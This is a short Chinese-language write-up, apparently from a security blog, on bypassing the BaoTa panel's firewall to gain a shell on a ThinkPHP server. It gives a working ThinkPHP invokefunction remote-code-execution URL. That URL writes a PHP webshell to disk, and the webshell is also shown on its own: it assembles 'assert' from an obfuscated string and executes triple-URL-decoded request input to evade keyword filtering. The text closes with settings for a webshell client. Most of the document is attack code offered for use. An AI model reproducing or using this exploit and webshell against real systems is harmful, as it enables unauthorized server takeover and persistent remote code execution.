Thinkphp繞過寶塔getshell

可以看到直接被攔了，經測試這里是敏感函數字符攔截，大部分有用的敏感函數都被攔了，這里面被攔的是phpinfo()

​

Emmmm,怎么辦呢。。。。。

直接執行代碼不行，那么就寫入代碼吧，用file_put_contents()函數進行寫入。

但這里又有一個問題，正常的寫入由於請求參數中帶有敏感字符一樣會被攔，並且使用小馬執行調用敏感函數的時候也會被攔

 

​

所以得配合點黑科技,使用特殊小馬，加URL編碼三次

​

url:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));

?>

 

小馬：

<?php

$poc ="axsxsxexrxt";

$poc_1 = explode("x", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];

$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));

?>

 

值要進行三次URL加密

​

 

原版C刀配置：

PHP_MAKE參數進行三次url加密，和設置請求頭即可

​

​